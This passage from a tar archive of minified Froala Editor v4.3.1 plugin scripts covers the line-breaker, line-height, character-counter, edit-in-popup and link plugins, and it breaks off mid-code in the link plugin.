n&&!h(n).closest(".fr-line-breaker").length&&!d.node.isElement(n)&&n!=d.$wp.get(0)&&function a(e){if("undefined"!=typeof e.inFroalaWrapper)return e.inFroalaWrapper;for(var t=e;e.parentNode&&e.parentNode!==d.$wp.get(0);)e=e.parentNode;return t.inFroalaWrapper=e.parentNode==d.$wp.get(0),t.inFroalaWrapper}(n)?n:null}function i(e,t,n){for(var a=n,r=null;a<=d.opts.lineBreakerOffset&&!r;)(r=o(e,t-a))||(r=o(e,t+a)),a+=n;return r}function p(e,t,n){for(var a=null,r=100;!a&&e>d.$box.offset().left&&e<d.$box.offset().left+d.$box.outerWidth()&&0<r;)(a=o(e,t))||(a=i(e,t,5)),"left"==n?e-=d.opts.lineBreakerHorizontalOffset:e+=d.opts.lineBreakerHorizontalOffset,r-=d.opts.lineBreakerHorizontalOffset;return a}function n(e){var t=r=null,n=null,a=d.doc.elementFromPoint(e.pageX-d.win.pageXOffset,e.pageY-d.win.pageYOffset);(t=a&&("HTML"==a.tagName||"BODY"==a.tagName||d.node.isElement(a)||0<=(a.getAttribute("class")||"").indexOf("fr-line-breaker"))?((n=i(e.pageX-d.win.pageXOffset,e.pageY-d.win.pageYOffset,1))||(n=p(e.pageX-d.win.pageXOffset-d.opts.lineBreakerHorizontalOffset,e.pageY-d.win.pageYOffset,"left")),n||(n=p(e.pageX-d.win.pageXOffset+d.opts.lineBreakerHorizontalOffset,e.pageY-d.win.pageYOffset,"right")),f(n)):f(a))?function s(e,t){var n,a,r=e.offset().top,o=e.offset().top+e.outerHeight();if(Math.abs(o-t)<=d.opts.lineBreakerOffset||Math.abs(t-r)<=d.opts.lineBreakerOffset)if(Math.abs(o-t)<Math.abs(t-r)){var i=null;for((a=e.get(0)).nextSibling&&(i=a.nextSibling.offsetParent?a.nextSibling:null);i&&i.nodeType==Node.TEXT_NODE&&0===i.textContent.length;)i=i.nextSibling;if(!i)return l(e,null),!0;if(n=f(i))return l(e,n),!0}else{if(!(a=e.get(0)).previousSibling)return l(null,e),!0;if(n=f(a.previousSibling))return l(n,e),!0}m.removeClass("fr-visible").removeData("instance")}(t,e.pageY):d.core.sameInstance(m)&&m.removeClass("fr-visible").removeData("instance")}function a(e){return!(m.hasClass("fr-visible")&&!d.core.sameInstance(m))&&(d.popups.areVisible()||d.el.querySelector(".fr-selected-cell")?(m.removeClass("fr-visible"),!0):void(!1!==t||d.edit.isDisabled()||(r&&clearTimeout(r),r=setTimeout(n,30,e))))}function s(){r&&clearTimeout(r),m&&m.hasClass("fr-visible")&&m.removeClass("fr-visible").removeData("instance")}var c=function c(){t=!0,s()},u=function u(){t=!1};function g(e){e.preventDefault();var t=m.data("instance")||d;m.removeClass("fr-visible").removeData("instance");var n=m.data("tag1"),a=m.data("tag2"),r=d.html.defaultTag();if(null==n)if(d.opts.keepTextFormatOnTable&&a.children().get(0)!=undefined&&"TBODY"==a.children().get(0).tagName){var o=a.find("span"),i=null!=o[o.length-1]?o[o.length-1].getAttribute("style"):null,s=null!=i?"<"+o[o.length-1].nodeName.toLowerCase()+' style="'+i+'">':"<"+a.parent().get(0).nodeName.toLowerCase()+">",l=null!=i?"</"+o[o.length-1].nodeName.toLowerCase()+">":"</"+a.parent().get(0).nodeName.toLowerCase()+">";r?a.before("<".concat(r,">").concat(s).concat(v.MARKERS,"<br>").concat(l,"</").concat(r,">")):a.before("".concat(s).concat(v.MARKERS,"<br>").concat(l))}else r&&"TD"!=a.parent().get(0).tagName&&0===a.parents(r).length?a.before("<".concat(r,">").concat(v.MARKERS,"<br></").concat(r,">")):a.before("".concat(v.MARKERS,"<br>"));else if(d.opts.keepTextFormatOnTable&&n.children().get(0)!=undefined&&"TBODY"==n.children().get(0).tagName){var f=n.find("span"),p=null!=f[f.length-1]?f[f.length-1].getAttribute("style"):null,c=null!=p?"<"+f[f.length-1].nodeName.toLowerCase()+' style="'+p+'">':"<"+n.parent().get(0).nodeName.toLowerCase()+">",u=null!=p?"</"+f[f.length-1].nodeName.toLowerCase()+">":"</"+n.parent().get(0).nodeName.toLowerCase()+">";r?n.after("<".concat(r,">").concat(c).concat(v.MARKERS,"<br>").concat(u,"</").concat(r,">")):n.after("".concat(c).concat(v.MARKERS,"<br>").concat(u))}else r&&"TD"!=n.parent().get(0).tagName&&0===n.parents(r).length?n.after("<".concat(r,">").concat(v.MARKERS,"<br></").concat(r,">")):n.after("".concat(v.MARKERS,"<br>"));t.selection.restore(),d.toolbar.enable()}return{_init:function b(){if(!d.$wp)return!1;!function e(){d.shared.$line_breaker||(d.shared.$line_breaker=h(document.createElement("div")).attr("class","fr-line-breaker").html('<a class="fr-floating-btn" role="button" tabIndex="-1" title="'.concat(d.language.translate("Break"),'"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><rect x="17" y="7" width="2" height="8"/><rect x="10" y="13" width="7" height="2"/><path d="M10.000,10.000 L10.000,18.013 L5.000,14.031 L10.000,10.000 Z"/></svg></a>'))),m=d.shared.$line_breaker,d.events.on("shared.destroy",function(){m.html("").removeData().remove(),m=null},!0),d.events.on("destroy",function(){m.removeData("instance").removeClass("fr-visible"),h("body").first().append(m),clearTimeout(r)},!0),d.events.$on(m,"mousemove",function(e){e.stopPropagation()},!0),d.events.bindClick(m,"a",g)}(),t=!1,d.events.$on(d.$win,"mousemove",a),d.events.$on(h(d.win),"scroll",s),d.events.on("popups.show.table.edit",s),d.events.on("commands.after",s),d.events.$on(h(d.win),"mousedown",c),d.events.$on(h(d.win),"mouseup",u)}}}}); plugins/line_height.min.js 0000674 00000004400 00000000000 0011566 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(l){"use strict";l=l&&l.hasOwnProperty("default")?l["default"]:l,Object.assign(l.DEFAULTS,{lineHeights:{Default:"",Single:"1",1.15:"1.15",1.5:"1.5",Double:"2"}}),l.PLUGINS.lineHeight=function(n){var o=n.$;return{_init:function e(){},apply:function a(e){n.selection.save(),n.html.wrap(!0,!0,!0,!0),n.selection.restore();var t=n.selection.blocks();t.length&&o(t[0]).parent().is("td")&&n.format.applyStyle("line-height",e.toString()),n.selection.save();for(var i=0;i<t.length;i++)o(t[i]).css("line-height",e),n.opts.enter!==l.ENTER_BR||t.length&&o(t[0]).parent().is("td")||(o(t[i]).hasClass("fr-temp-div")&&o(t[i]).removeClass("fr-temp-div"),""===o(t[i]).attr("class")&&o(t[i]).removeAttr("class")),""===o(t[i]).attr("style")&&o(t[i]).removeAttr("style");n.html.unwrap(),n.selection.restore()},refreshOnShow:function r(e,t){var i=n.selection.blocks();if(i.length){var l=o(i[0]);t.find(".fr-command").each(function(){var e=o(this).data("param1"),t=l.attr("style"),i=0<=(t||"").indexOf("line-height: "+e+";");if(t){var n=t.substring(t.indexOf("line-height")),a=n.substr(0,n.indexOf(";")),r=a&&a.split(":")[1];r&&r.length||"Default"!==l.text()||(i=!0)}t&&-1!==t.indexOf("line-height")||""!==e||(i=!0),o(this).toggleClass("fr-active",i).attr("aria-selected",i)})}}}},l.RegisterCommand("lineHeight",{type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.lineHeights;for(var i in t)t.hasOwnProperty(i)&&(e+='<li role="presentation"><a class="fr-command '.concat(i,'" tabIndex="-1" role="option" data-cmd="lineHeight" data-param1="').concat(t[i],'" title="').concat(this.language.translate(i),'">').concat(this.language.translate(i),"</a></li>"));return e+="</ul>"},title:"Line Height",callback:function(e,t){this.lineHeight.apply(t)},refreshOnShow:function(e,t){this.lineHeight.refreshOnShow(e,t)},plugin:"lineHeight"}),l.DefineIcon("lineHeight",{NAME:"arrows-v",FA5NAME:"arrows-alt-v",SVG_KEY:"lineHeight"})}); plugins/char_counter.min.js 0000674 00000004534 00000000000 0011773 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],e):e(t.FroalaEditor)}(this,function(i){"use strict";i=i&&i.hasOwnProperty("default")?i["default"]:i,Object.assign(i.DEFAULTS,{charCounterMax:-1,charCounterCount:!0}),i.PLUGINS.charCounter=function(r){var n,o=r.$,a=function a(){return(r.opts.iframe&&r.markdown&&r.markdown.isEnabled()?r.$el.text()||"":r.el.textContent||"").replace(/\u200B/g,"").length};function t(t){if(r.opts.charCounterMax<0)return!0;if(a()<r.opts.charCounterMax)return!0;var e=t.which;return!(!r.keys.ctrlKey(t)&&r.keys.isCharacter(e)||e===i.KEYCODE.IME)||(t.preventDefault(),t.stopPropagation(),r.events.trigger("charCounter.exceeded"),!1)}function e(t){return r.opts.charCounterMax<0?t:o("<div>").html(t).text().length+a()<=r.opts.charCounterMax?t:(r.events.trigger("charCounter.exceeded"),"")}function c(t,e,n){return r.opts.charCounterMax<0||(t.includes('<span class="fr-emoticon')||t.includes('<i class="fa ')?!(a()>=r.opts.charCounterMax)||(r.events.trigger("charCounter.exceeded"),!1):o("<div>").html(t).text().length+a()<=r.opts.charCounterMax||(r.events.trigger("charCounter.exceeded"),!1))}function s(){if(r.opts.charCounterCount){var t=a()+(0<r.opts.charCounterMax?"/"+r.opts.charCounterMax:"");n.text("".concat(r.language.translate("Characters")," : ").concat(t)),r.opts.toolbarBottom&&n.css("margin-bottom",r.$tb.outerHeight(!0));var e=r.$wp.get(0).offsetWidth-r.$wp.get(0).clientWidth;0<=e&&("rtl"==r.opts.direction?n.css("margin-left",e):n.css("margin-right",e))}}return{_init:function u(){return!!r.$wp&&!!r.opts.charCounterCount&&((n=o(document.createElement("span")).attr("class","fr-counter")).css("bottom",r.$wp.css("border-bottom-width")),r.$second_tb?r.$second_tb.append(n):r.$wp.append(n),r.events.on("keydown",t,!0),r.events.on("paste.afterCleanup",e),r.events.on("keyup contentChanged input",function(){r.events.trigger("charCounter.update")}),r.events.on("html.beforeInsert",c),r.events.on("charCounter.update",s),r.events.trigger("charCounter.update"),void r.events.on("destroy",function(){o(r.o_win).off("resize.char".concat(r.id)),n.removeData().remove(),n=null}))},count:a}}}); plugins/edit_in_popup.min.js 0000674 00000003313 00000000000 0012147 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],e):e(t.FroalaEditor)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t["default"]:t,Object.assign(t.DEFAULTS,{editInPopup:!1}),t.MODULES.editInPopup=function(i){function t(){i.events.$on(i.$el,i._mouseup,function(){setTimeout(function(){!function n(){var t,e=i.popups.get("text.edit");t="INPUT"===i.el.tagName?i.$el.attr("placeholder"):i.$el.text(),e.find("input").val(t).trigger("change"),i.popups.setContainer("text.edit",i.$sc),i.popups.show("text.edit",i.$el.offset().left+i.$el.outerWidth()/2,i.$el.offset().top+i.$el.outerHeight(),i.$el.outerHeight())}()},10)})}return{_init:function n(){i.opts.editInPopup&&(!function e(){var t={edit:'<div id="fr-text-edit-'.concat(i.id,'" class="fr-layer fr-text-edit-layer"><div class="fr-input-line"><input type="text" placeholder="').concat(i.language.translate("Text"),'" tabIndex="1"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="updateText" tabIndex="2">').concat(i.language.translate("Update"),"</button></div></div>")};i.popups.create("text.edit",t)}(),t())},update:function e(){var t=i.popups.get("text.edit").find("input").val();0===t.length&&(t=i.opts.placeholderText),"INPUT"===i.el.tagName?i.$el.attr("placeholder",t):i.$el.text(t),i.events.trigger("contentChanged"),i.popups.hide("text.edit")}}},t.RegisterCommand("updateText",{focus:!1,undo:!1,callback:function(){this.editInPopup.update()}})}); plugins/link.min.js 0000674 00000044733 00000000000 0010261 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(y){"use strict";y=y&&y.hasOwnProperty("default")?y["default"]:y,Object.assign(y.POPUP_TEMPLATES,{"link.edit":"[_BUTTONS_]","link.insert":"[_BUTTONS_][_INPUT_LAYER_]"}),Object.assign(y.DEFAULTS,{linkEditButtons:["linkOpen","linkStyle","linkEdit","linkRemove"],linkInsertButtons:["linkBack","|","linkList"],linkAttributes:{},linkAutoPrefix:"http://",linkStyles:{"fr-green":"Green","fr-strong":"Thick"},linkMultipleStyles:!0,linkConvertEmailAddress:!0,linkAlwaysBlank:!1,linkAlwaysNoFollow:!1,linkNoOpener:!0,linkNoReferrer:!0,linkList:[{text:"Froala",href:"https://froala.com",target:"_blank"},{text:"Google",href:"https://google.com",target:"_blank"},{displayText:"Facebook",href:"https://facebook.com"}],linkText:!0}),y.PLUGINS.link=function(h){var m=h.$;function v(){var e=h.image?h.image.get():null;if(e||!h.$wp)return"A"==h.el.tagName?h.el:e&&e.get(0).parentNode&&"A"==e.get(0).parentNode.tagName?e.get(0).parentNode:void 0;var t=h.selection.ranges(0).commonAncestorContainer;try{t&&(t.contains&&t.contains(h.el)||!h.el.contains(t)||h.el==t)&&(t=null)}catch(l){t=null}if(t&&"A"===t.tagName)return t;var n,i,r=h.selection.element(),a=h.selection.endElement();"A"==r.tagName||h.node.isElement(r)||(r=h.opts.iframe&&null!==(n=h.markdown)&&void 0!==n&&n.isEnabled?null:m(r).parentsUntil(h.$el,"a").first().get(0));"A"==a.tagName||h.node.isElement(a)||(a=h.opts.iframe&&null!==(i=h.markdown)&&void 0!==i&&i.isEnabled?null:m(a).parentsUntil(h.$el,"a").first().get(0));try{a&&(a.contains&&a.contains(h.el)||!h.el.contains(a)||h.el==a)&&(a=null)}catch(l){a=null}try{r&&(r.contains&&r.contains(h.el)||!h.el.contains(r)||h.el==r)&&(r=null)}catch(l){r=null}return a&&a==r&&"A"==a.tagName?(h.browser.msie||h.helpers.isMobile())&&(h.selection.info(r).atEnd||h.selection.info(r).atStart)?null:r:null}function b(){var e,t,n,i,r=h.image?h.image.get():null,a=[];if(r)"A"==r.get(0).parentNode.tagName&&a.push(r.get(0).parentNode);else if(h.win.getSelection){var l=h.win.getSelection();if(l.getRangeAt&&l.rangeCount){i=h.doc.createRange();for(var s=0;s<l.rangeCount;++s)if((t=(e=l.getRangeAt(s)).commonAncestorContainer)&&1!=t.nodeType&&(t=t.parentNode),t&&"a"==t.nodeName.toLowerCase())a.push(t);else{n=t.getElementsByTagName("a");for(var o=0;o<n.length;++o)i.selectNodeContents(n[o]),i.compareBoundaryPoints(e.END_TO_START,e)<1&&-1<i.compareBoundaryPoints(e.START_TO_END,e)&&a.push(n[o])}}}else if(h.doc.selection&&"Control"!=h.doc.selection.type)if("a"==(t=(e=h.doc.selection.createRange()).parentElement()).nodeName.toLowerCase())a.push(t);else{n=t.getElementsByTagName("a"),i=h.doc.body.createTextRange();for(var p=0;p<n.length;++p)i.moveToElementText(n[p]),-1<i.compareEndPoints("StartToEnd",e)&&i.compareEndPoints("EndToStart",e)<1&&a.push(n[p])}return a}function E(r){if(h.core.hasFocus()||h.opts.iframe&&(!document.hasFocus||document.hasFocus())){if(a(),r&&"keyup"===r.type&&(r.altKey||r.which==y.KEYCODE.ALT))return!0;setTimeout(function(){if(!r||r&&(1==r.which||"mouseup"!=r.type)){var e=v(),t=h.image?h.image.get():null;if(e&&!t){if(h.image){var n=h.node.contents(e);if(1==n.length&&"IMG"==n[0].tagName){var i=h.selection.ranges(0);return 0===i.startOffset&&0===i.endOffset?m(e).before(y.INVISIBLE_SPACE+y.MARKERS):m(e).after(y.INVISIBLE_SPACE+y.MARKERS),h.selection.restore(),!1}}r&&r.stopPropagation(),l(e)}}},h.helpers.isIOS()?100:0)}}function l(e){var t=h.popups.get("link.edit");t||(t=function a(){var e="";1<=h.opts.linkEditButtons.length&&("A"==h.el.tagName&&0<=h.opts.linkEditButtons.indexOf("linkRemove")&&h.opts.linkEditButtons.splice(h.opts.linkEditButtons.indexOf("linkRemove"),1),e='<div class="fr-buttons">'.concat(h.button.buildList(h.opts.linkEditButtons),"</div>"));var t={buttons:e},n=h.popups.create("link.edit",t);h.$wp&&h.events.$on(h.$wp,"scroll.link-edit",function(){v()&&h.popups.isVisible("link.edit")&&l(v())});return n}());var n=m(e);h.popups.isVisible("link.edit")||h.popups.refresh("link.edit"),h.popups.setContainer("link.edit",h.$sc);var i=n.offset().left+n.outerWidth()/2,r=n.offset().top+n.outerHeight();h.popups.show("link.edit",i,r,n.outerHeight(),!0)}function a(){h.popups.hide("link.edit")}function o(){var e=h.popups.get("link.insert"),t=v();if(t){var n,i,r=m(t),a=e.find('input.fr-link-attr[type="text"]'),l=e.find('input.fr-link-attr[type="checkbox"]');for(n=0;n<a.length;n++)(i=m(a[n])).val(r.attr(i.attr("name")||""));for(l.attr("checked",!1),n=0;n<l.length;n++)i=m(l[n]),r.attr(i.attr("name"))==i.data("checked")&&i.attr("checked",!0);e.find('input.fr-link-attr[type="text"][name="text"]').val(r.text())}else e.find('input.fr-link-attr[type="text"]').val(""),e.find('input.fr-link-attr[type="checkbox"]').attr("checked",!1),e.find('input.fr-link-attr[type="text"][name="text"]').val(h.selection.text());e.find("input.fr-link-attr").trigger("change"),(h.image?h.image.get():null)?e.find('.fr-link-attr[name="text"]').parent().hide():e.find('.fr-link-attr[name="text"]').parent().show()}function s(e){if(e)return h.popups.onRefresh("link.insert",o),!0;var t="";1<=h.opts.linkInsertButtons.length&&(t='<div class="fr-buttons fr-tabs">'.concat(h.button.buildList(h.opts.linkInsertButtons),"</div>"));var n="",i=0;for(var r in n='<div class="fr-link-insert-layer fr-layer fr-active" id="fr-link-insert-layer-'.concat(h.id,'">'),n+='<div class="fr-input-line"><input id="fr-link-insert-layer-url-'.concat(h.id,'" name="href" type="text" class="fr-link-attr" placeholder="').concat(h.language.translate("URL"),'" tabIndex="').concat(++i,'"></div>'),h.opts.linkText&&(n+='<div class="fr-input-line"><input id="fr-link-insert-layer-text-'.concat(h.id,'" name="text" type="text" class="fr-link-attr" placeholder="').concat(h.language.translate("Text"),'" tabIndex="').concat(++i,'"></div>')),h.opts.linkAttributes)if(h.opts.linkAttributes.hasOwnProperty(r)){var a=h.opts.linkAttributes[r];n+='<div class="fr-input-line"><input name="'.concat(r,'" type="text" class="fr-link-attr" placeholder="').concat(h.language.translate(a),'" tabIndex="').concat(++i,'"></div>')}h.opts.linkAlwaysBlank||(n+='<div class="fr-checkbox-line"><span class="fr-checkbox"><input name="target" class="fr-link-attr" data-checked="_blank" type="checkbox" id="fr-link-target-'.concat(h.id,'" tabIndex="').concat(++i,'"><span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','</span></span><label id="fr-label-target-').concat(h.id,'">').concat(h.language.translate("Open in new tab"),"</label></div>"));var l={buttons:t,input_layer:n+='<div class="fr-action-buttons"><button class="fr-command fr-submit" role="button" data-cmd="linkInsert" href="#" tabIndex="'.concat(++i,'" type="button">').concat(h.language.translate("Insert"),"</button></div></div>")},s=h.popups.create("link.insert",l);return h.$wp&&h.events.$on(h.$wp,"scroll.link-insert",function(){(h.image?h.image.get():null)&&h.popups.isVisible("link.insert")&&f(),h.popups.isVisible("link.insert")&&c()}),s}function p(e,t,n){if(h.opts.trackChangesEnabled){if(h.edit.on(),h.events.focus(!0),h.undo.saveStep(),h.markers.insert(),h.html.wrap(),!h.$el.find(".fr-marker").length)return void h.popups.hide("link.insert");h.markers.remove()}if(void 0===n&&(n={}),!1===h.events.trigger("link.beforeInsert",[e,t,n]))return!1;var i=h.image?h.image.get():null;i||"A"==h.el.tagName?"A"==h.el.tagName&&h.$el.focus():(h.selection.restore(),h.popups.hide("link.insert"));var r=e;h.opts.linkConvertEmailAddress&&h.helpers.isEmail(e)&&!/^mailto:.*/i.test(e)&&(e="mailto:".concat(e));if(""===h.opts.linkAutoPrefix||new RegExp("^("+y.LinkProtocols.join("|")+"):.","i").test(e)||/^data:image.*/i.test(e)||/^(https?:|ftps?:|file:|)\/\//i.test(e)||/^([A-Za-z]:(\\){1,2}|[A-Za-z]:((\\){1,2}[^\\]+)+)(\\)?$/i.test(e)||["/","{","[","#","(",".",'"',"\\"].indexOf((e||"")[0])<0&&(e=h.opts.linkAutoPrefix+e),e=h.helpers.sanitizeURL(e),h.opts.linkAlwaysBlank&&(n.target="_blank"),h.opts.linkAlwaysNoFollow&&(n.rel="nofollow"),h.helpers.isEmail(r)&&(n.target=null,n.rel=null),"_blank"==n.target?(h.opts.linkNoOpener&&(n.rel?n.rel+=" noopener":n.rel="noopener"),h.opts.linkNoReferrer&&(n.rel?n.rel+=" noreferrer":n.rel="noreferrer")):null==n.target&&(n.rel?n.rel=n.rel.replace(/noopener/,"").replace(/noreferrer/,""):n.rel=null),t=t||"",e===h.opts.linkAutoPrefix)return h.popups.get("link.insert").find('input[name="href"]').addClass("fr-error"),h.events.trigger("link.bad",[r]),!1;var a,l=v();if(l){if((a=m(l)).attr("href",e),0<t.length&&a.text()!=t&&!i){if(h.opts.trackChangesEnabled){var s=m(a.get(0).outerHTML);s.insertBefore(a.parent());var o=h.track_changes.wrapLinkInTracking(s,h.track_changes.getPendingChanges().length-1),p=h.track_changes.wrapInDelete(o);a.parent().append(p)}for(var c=a.get(0);1===c.childNodes.length&&c.childNodes[0].nodeType==Node.ELEMENT_NODE;)c=c.childNodes[0];m(c).text(t)}for(var f in i||a.prepend(y.START_MARKER).append(y.END_MARKER),n)n[f]?a.attr(f,n[f]):a.removeAttr(f);i||h.selection.restore()}else{i?(i.wrap('<a href="'.concat(e,'"></a>')),h.image.hasCaption()&&i.parent().append(i.parents(".fr-img-caption").find(".fr-inner"))):(h.format.remove("a"),h.selection.isCollapsed()?(t=0===t.length?r:t,h.html.insert('<a href="'.concat(e,'">').concat(y.START_MARKER).concat(t.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">")).concat(y.END_MARKER,"</a>")),h.selection.restore()):0<t.length&&t!=h.selection.text().replace(/\n/g,"")?(h.selection.remove(),h.html.insert('<a href="'.concat(e,'">').concat(y.START_MARKER).concat(t.replace(/&/g,"&")).concat(y.END_MARKER,"</a>")),h.selection.restore()):(!function g(){if(!h.selection.isCollapsed()){h.selection.save();for(var e=h.$el.find(".fr-marker").addClass("fr-unprocessed").toArray();e.length;){var t=m(e.pop());t.removeClass("fr-unprocessed");var n=h.node.deepestParent(t.get(0));if(n){for(var i=t.get(0),r="",a="";i=i.parentNode,h.node.isBlock(i)||(r+=h.node.closeTagString(i),a=h.node.openTagString(i)+a),i!=n;);var l=h.node.openTagString(t.get(0))+t.html()+h.node.closeTagString(t.get(0));t.replaceWith('<span id="fr-break"></span>');var s=n.outerHTML;s=(s=s.replace(/<span id="fr-break"><\/span>/g,r+l+a)).replace(a+r,""),n.outerHTML=s}e=h.$el.find(".fr-marker.fr-unprocessed").toArray()}h.html.cleanEmptyTags(),h.selection.restore()}}(),h.format.apply("a",{href:e})));for(var d=b(),u=0;u<d.length;u++)(a=m(d[u])).attr(n),a.removeAttr("_moz_dirty");1==d.length&&h.$wp&&!i&&(m(d[0]).prepend(y.START_MARKER).append(y.END_MARKER),h.selection.restore())}if(i){var k=h.popups.get("link.insert");k&&k.find("input:focus").blur(),h.image.edit(i)}else E()}function c(){a();var e=v();if(e){var t=h.popups.get("link.insert");t||(t=s()),h.popups.isVisible("link.insert")||(h.popups.refresh("link.insert"),h.selection.save(),h.helpers.isMobile()&&(h.events.disableBlur(),h.$el.blur(),h.events.enableBlur())),h.popups.setContainer("link.insert",h.$sc);var n=(h.image?h.image.get():null)||m(e),i=n.offset().left+n.outerWidth()/2,r=n.offset().top+n.outerHeight();h.popups.show("link.insert",i,r,n.outerHeight(),!0)}}function f(){var e=h.image?h.image.getEl():null;if(e){var t=h.popups.get("link.insert"),n=e.outerWidth()/2;h.image.hasCaption()&&(e=e.find(".fr-img-wrap"),m(e)&&m(e).find("img")&&(n=m(e).find("img").outerWidth()/2)),t||(t=s()),o(),h.popups.setContainer("link.insert",h.$sc);var i=e.offset().left+n,r=e.offset().top+e.outerHeight(),a=e.outerHeight();h.opts.iframe&&h.image.hasCaption()&&m(e)&&m(e).find("img")&&(a=m(e).find("img").outerHeight()),h.popups.show("link.insert",i,r,a,!0)}}return{_init:function e(){h.events.on("keyup",function(e){e.which!=y.KEYCODE.ESC&&E(e)}),h.events.on("window.mouseup",E),h.events.$on(h.$el,"click","a",function(e){h.edit.isDisabled()&&e.preventDefault()}),h.helpers.isMobile()&&h.events.$on(h.$doc,"selectionchange",E),s(!0),"A"==h.el.tagName&&h.$el.addClass("fr-view"),h.events.on("toolbar.esc",function(){if(h.popups.isVisible("link.edit"))return h.events.disableBlur(),h.events.focus(),!1},!0)},remove:function i(){var e=v(),t=h.image?h.image.get():null;if(!1===h.events.trigger("link.beforeRemove",[e]))return!1;if(t&&e)if(h.image.hasCaption()){t.addClass("img-link-caption"),m(e).replaceWith(m(e).html());var n=document.querySelectorAll("img.img-link-caption");h.image.edit(m(n[0])),m(n[0]).removeClass("img-link-caption")}else t.unwrap(),h.image.edit(t);else e&&(h.selection.save(),m(e).replaceWith(m(e).html()),h.selection.restore(),a())},showInsertPopup:function d(){var e=h.$tb.find('.fr-command[data-cmd="insertLink"]'),t=h.popups.get("link.insert");if(t||(t=s()),!t.hasClass("fr-active"))if(h.popups.refresh("link.insert"),h.popups.setContainer("link.insert",h.$tb||h.$sc),e.isVisible()){var n=h.button.getPosition(e),i=n.left,r=n.top;h.popups.show("link.insert",i,r,e.outerHeight())}else h.position.forSelection(t),h.popups.show("link.insert")},usePredefined:function u(e){var t,n,i=h.opts.linkList[e],r=h.popups.get("link.insert"),a=r.find('input.fr-link-attr[type="text"]'),l=r.find('input.fr-link-attr[type="checkbox"]');for(i.rel&&(r.rel=i.rel),n=0;n<a.length;n++)i[(t=m(a[n])).attr("name")]?(t.val(i[t.attr("name")]),t.toggleClass("fr-not-empty",!0)):"text"!=t.attr("name")&&t.val("");for(n=0;n<l.length;n++)(t=m(l[n])).attr("checked",t.data("checked")==i[t.attr("name")]);h.accessibility.focusPopup(r)},insertCallback:function k(){var e,t,n=h.popups.get("link.insert"),i=n.find('input.fr-link-attr[type="text"]'),r=n.find('input.fr-link-attr[type="checkbox"]'),a=(i.filter('[name="href"]').val()||"").trim(),l=h.opts.linkText?i.filter('[name="text"]').val():"",s={};for(t=0;t<i.length;t++)e=m(i[t]),["href","text"].indexOf(e.attr("name"))<0&&(s[e.attr("name")]=e.val());for(t=0;t<r.length;t++)(e=m(r[t])).is(":checked")?s[e.attr("name")]=e.data("checked"):s[e.attr("name")]=e.data("unchecked")||null;n.rel&&(s.rel=n.rel);var o=h.helpers.scrollTop();p(a,l,s),m(h.o_win).scrollTop(o)},insert:p,update:c,get:v,allSelected:b,back:function t(){h.image&&h.image.get()?h.image.back():(h.events.disableBlur(),h.selection.restore(),h.events.enableBlur(),v()&&h.$wp?(h.selection.restore(),a(),E()):"A"==h.el.tagName?(h.$el.focus(),E()):(h.popups.hide("link.insert"),h.toolbar.showInline()))},imageLink:f,applyStyle:function g(e,t,n){void 0===n&&(n=h.opts.linkMultipleStyles),void 0===t&&(t=h.opts.linkStyles);var i=v();if(!i)return!1;if(!n){var r=Object.keys(t);r.splice(r.indexOf(e),1),m(i).removeClass(r.join(" "))}m(i).toggleClass(e),E()}}},y.DefineIcon("insertLink",{NAME:"link",SVG_KEY:"insertLink"}),y.RegisterShortcut(y.KEYCODE.K,"insertLink",null,"K"),y.RegisterCommand("insertLink",{title:"Insert Link",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("link.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("link.insert")):this.link.showInsertPopup()},plugin:"link"}),y.DefineIcon("linkOpen",{NAME:"external-link",FA5NAME:"external-link-alt",SVG_KEY:"openLink"}),y.RegisterCommand("linkOpen",{title:"Open Link",undo:!1,refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},callback:function(){var e=this.link.get();e&&(-1!==e.href.indexOf("mailto:")?this.o_win.open(e.href).close():(e.target||(e.target="_self"),this.browser.msie||this.browser.edge?this.o_win.open(e.href,e.target):this.o_win.open(e.href,e.target,"noopener")),this.popups.hide("link.edit"))},plugin:"link"}),y.DefineIcon("linkEdit",{NAME:"edit",SVG_KEY:"edit"}),y.RegisterCommand("linkEdit",{title:"Edit 